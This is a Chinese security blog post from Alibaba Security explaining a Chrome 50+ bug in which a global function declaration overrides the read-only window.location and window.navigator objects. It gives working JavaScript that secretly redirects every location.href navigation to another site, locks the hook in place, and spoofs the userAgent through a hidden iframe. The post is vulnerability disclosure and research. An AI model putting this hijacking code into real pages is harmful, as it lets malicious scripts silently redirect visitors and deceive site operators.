Chrome出了个小bug:论如何在Chrome下劫持原生只读对象

Chrome出了个小bug:论如何在Chrome下劫持原生只读对象

概述

众所周知,虽然JavaScript是个很灵活的语言,浏览器里很多原生的方法都可以随意覆盖或者重写,比如alert。但是为了保证网页的安全性和网页制作者的一定控制权,有些浏览器对象是无法更改的,比如“window.location”对象,或者对它们的更改是无效的,比如”window.navigator”对象。然而,最近我发现Chrome出现了一个小“bug”,在Chrome 50+ 版本中,通过一些技巧可以轻易地重写这些对象,从而让恶意代码可以控制网页编写者的跳转行为。

实现window.location

location对象是个很特殊的浏览器内置对象,一般情况下是无法修改的,为了寻找是否有一种方法可以做到这件事,我做了一些尝试并得出了相应的结论:

1. 无法修改location对象,直接修改会导致页面跳转:

    window.location = {};

2. 无法通过Object.defineProperty来修改属性的configurable和writable,因此无法使用Object.watch及各种polyfill。

    Object.defineProperty(location,"href",{"configurable": true});

3. 可以用Proxy对象代理location,但因为原因1,无法用locationProxy重写location对象。

    var locationProxy = new Proxy(location, {
      set: function (target, key, value, receiver) {
           console.log(target, key, value, receiver);
    }});

4. 可以freeze,使得对location.href赋值失效。然而这会影响到正常流程,因为光这样用户的代码逻辑就无法走通,劫持就失去了意义。

    Object.freeze(window.location)
    Object.freeze(window)

看上去似乎没有任何办法能够做到了?然而山重水复疑无路,柳暗花明又一村。在尝试中我发现Chrome浏览器有个bug:在全局域里使用和location同名的函数声明,在函数自动提升后可以覆盖掉浏览器本身的window.location对象,没错,就是这样一行简单的代码:

    function location(){}

这样就可以起到重写并hook掉location的作用。而这个方法也只有在Chrome下有用,其它浏览器(如Firefox或者Edge)会提示 TypeError: can't redefine non-configurable property location

那么既然拿到了修改的方法,应该如何合理地劫持它呢? 首先需要备份一下location对象本身,但由于我们的关键函数 function location(){} 本身是需要在全局域中执行,并且会自动提升,因此无法直接存储location对象。但是很多人都忽略的一点window.document对象中还有一份location对象,而这个对象,在目前浏览器中绝大多数情况下都和window.location没有区别,甚至就是对window.location的一份拷贝或者指针。于是我们可以使用window.document.location先备份一下location对象,然后修改之。

    var _location = window.document.location;

之后需要做的事情就是在劫持某些操作的时候,又保证正常的操作不会出问题,否则很容易被发现。我们可以使用ES5中的一些魔法方法,比如__proto__和__defineSetter__来实现我们需要的效果,比如我们对于location.href 的赋值操作,拦截并转向freebuf:

    location.__proto__ = _location;

    location.__defineSetter__('href', function(url) {
      _location.href = "FreeBuf.COM | 关注黑客与极客";
    });

    location.__defineGetter__('href', function(url) {
      return _location.href;
    });
或者使用ES6的Proxy代理,也同样可以实现相同功能:
   window.location = new Proxy(_location, {
       set: function(target, prop, value, receiver){
           if (prop !== 'href'){
               Reflect.set(target, prop, value, receiver);
           }else{
              target.href = "FreeBuf.COM | 关注黑客与极客";
           }
       }
    })

最后,我们再将location对象设置为只读,防止轻易被修改

   Object.defineProperty(window,"location",{"writable": false});

这样就实现了一个暗藏玄机的window.location,偷偷将页面里所有通过location.href做的跳转改到了目标网站(freebuf)。

实现window.navigator

就像我开头说的一样,不止是location,navigator对象我们也可以通过这种方法偷偷篡改,让网站得到的浏览器信息(如userAgent)失真,要注意的重点就是如何找到一种方法保存原来的navigator对象,这里我们使用新建一个iframe来实现:

    var _navigator;
    
    function navigator(){}

    var frame = document.createElement('iframe');
    frame.width = frame.height = 0;
    frame.style.display = "none";
    document.lastChild.appendChild(frame);

    _navigator = window.frames[0].window.navigator;

    window.navigator = new Proxy(_navigator, {
       set: function(target, prop, value, receiver){
           return Reflect.set(target, prop, value, receiver);
       },
       get: function(target, prop, receiver){
           if (prop === 'userAgent'){
              return "this is a faked userAgent";
           }
           return target[prop];
       }
    })

这段代码实现了让用户访问window.navigator.userAgemt时返回了一个假UA串。

总结

这个bug在Chrome 50至最新版内核中均存在,包括但不限于Chrome和各种使用Chromium内核的浏览器(Opera, UC)等。虽然由于局限性,独立存在的意义不大,但是在一些恶意脚本里还是存在一些利用的价值。

作者:负羽@阿里安全,更多安全类文章,请持续关注阿里聚安全的安全专栏或官方博客
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